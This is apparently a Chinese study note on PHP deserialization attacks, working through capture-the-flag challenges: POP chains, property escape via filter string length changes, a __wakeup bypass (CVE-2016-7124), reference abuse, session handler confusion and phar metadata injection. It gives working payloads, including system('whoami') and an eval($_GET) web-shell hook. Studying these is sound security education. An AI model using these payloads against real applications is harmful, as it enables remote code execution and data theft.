POP链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种payload
POC编写
POC(Proof of concept)中文叫概念验证,在安全界可理解成漏洞验证程序。POC是一段不完整的程序,仅仅是为了证明提出者观点的一段代码
例题
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
倒推法,注意要调用类才触发魔术方法
删去方法,开始赋值
<?php
//flag is in flag.php
class Modifier {
private $var = 'flag.php';#私有属性在这里赋值
}
class Show{
public $source;#Show obj
public $str;#Test obj
}
class Test{
public $p;#Modifier obj
}
$a = new Show();
$a->source = $a;
$b = new Test();
$a->str = $b;
$c = new Modifier();
$b->p = $c;
echo serialize($a);
?>
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
字符串逃逸
前置知识
变量数不对应
字符串长度不对应
和原来类的个数不对应
「"」的判断
结束字符
属性逃逸
一般在数据经过一次serialize在经过unserialize,在这个中间反序列化的字符串变多或者变少的时候,才有可能存在反序列化属性逃逸
注意:一般在前面逃逸多「";」后面逃逸多「;}」
字符减少
反序列化以「;}」结束,后面的字符串不影响正常的反序列化
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候,有可能存在反序列化属性逃逸
反序列化字符串减少逃逸:多逃逸出一个成员属性
第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
字符增多
反序列化字符串怎多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性
增多例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$param=$_GET['param'];
$param=serialize(new test($param));
$profile=unserialize(filter($param));
if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}
?>
我们需要传入
";s:4:"pass";s:8:"escaping";}#29
所以输入29个php,传入:
?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
减少例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
?>
我们需要传入
";s:4:"pass";N;s:3:"vip";b:1;}
flag替换成hk吃掉两个字符
原来的序列化:
O:4:"test":3:{s:4:"user";s:12:"233233233233";s:4:"pass";s:15:"233233233233233";s:3:"vip";b:0;}
";s:4:"pass";s:15: #19个字符
吃掉19+1个字符需要10个flag
传入:
?user=flagflagflagflagflagflagflagflagflagflag&pass=5";s:4:"pass";N;s:3:"vip";b:1;}
wakeup绕过
反序列化漏洞:CVE-2016-7124
版本限制:PHP5<5.6.25 PHP7<7.0.10
产生原因:如果存在__wakeup方法,调用unserialize()方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值,大于真实属性个数,会跳过__wakeup方法
O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:0;}
绕过:
O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:0;}
例子:
<?php
error_reporting(0);
class secret{
var $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
include_once($this->file);
echo $flag;
}
function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
highlight_file(__FILE__);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>
读题发现:O后面不能加数字、wakeup会读不到flag
传入
O:+6:"secret":3:{s:4:"file";s:8:"flag.php";}
浏览器需要编码成下面
?cmd=O%3A%2B6%3A%22secret%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
引用的利用方式
例题:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
$pass=str_replace('*','\*',$pass);#把所有的「*」替换掉
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";#secret有「*」
if ($o->secret === $o->enter)#检测是否相等
echo "Congratulation! Here is my secret: ".$flag;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
绕过这个替换我们可以使用引用,让enter的值引用secret的值,构造:
<?php
class just4fun {
var $enter;
var $secret;
}
$a = new just4fun();
$a->enter = &$a->secret;
echo serialize($a);
?>
传入
?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}#R代表引用,2指的是enter
session反序列化漏洞
当session_start()被调用,或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后存储目录
(默认/tmp)
格式有多种,常用有三种
漏洞的产生:写入格式和读取格式不一致
session
php
<?php
session_start();
$_SESSION['benben'] = $_GET['ben'];
?>
?ben=haha
存储:
benben|s:4:"haha";
php_serilalize
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>
?ben=dazhaung&b=666
存储:
a:2{S:6:"benben";S:8:"dazhaung";s:1:"b";s:3:"666";}
php_binary
利用
save.php——利用php_serialize存储
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
vul.php——利用php存储
<?php
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
构造
<?php
class D{
var $a="system('whoami');";
}
echo serialize(new D());
?>
提交
?a=|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}
存储为
a:1:{s:3:"ben";s:39:"}|O:1:"D":1:{s:1:"a";s:17:"system('whoami');";}";}
此时读取使用php_serialize读取则解析成
a:1:{s:3:“ben”;s:39:"}|O:1:“D”:1:{s:1:“a”;s:17:“system(‘whoami’);”;}";}
键名+竖线+序列化后的值
phar反序列化漏洞
phar类似jar文件,是php的打包文件,对于php5.3以上phar后缀默认开启支持
文件包含:phar伪协议,可读取.phar文件
phar协议解析文件的时候会触发对manifest字段的序列化字符串进行反序列化
漏洞原理
调用phar伪协议(phar://test.phar)可读取.phar文件;
phar协议解析文件会自动触发对manifest字段的序列化字符串进行反序列化
phar需要PHP>=5.2 在php.ini把phar.readonly设为off
例子:
<?php
class Testobj
{
var $output="echo 'ok';";
function __destruct()
{
eval($this->output);
}
}
if(isset($_GET['filename']))
{
$filename=$_GET['filename'];
var_dump(file_exists($filename));
构造文件的php:
<?php
class Testobj
{
var $output='';
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
传入
?filename=phar://test.phar&a=system('ls');
(技巧:eval(eval($_GET[“a”]))可以直接传入a执行指令,不用再计算序列化的长度)
使用条件
- phar文件能上传到服务器端(不看后缀,可改成别的后缀)
- 要有可用反序列化魔术方法作为跳板
- 要有文件操作函数,如file_exists(),fopen(),file_get_contenmts()
- 文件操作函数参数可控,且"/"、phar等没有过滤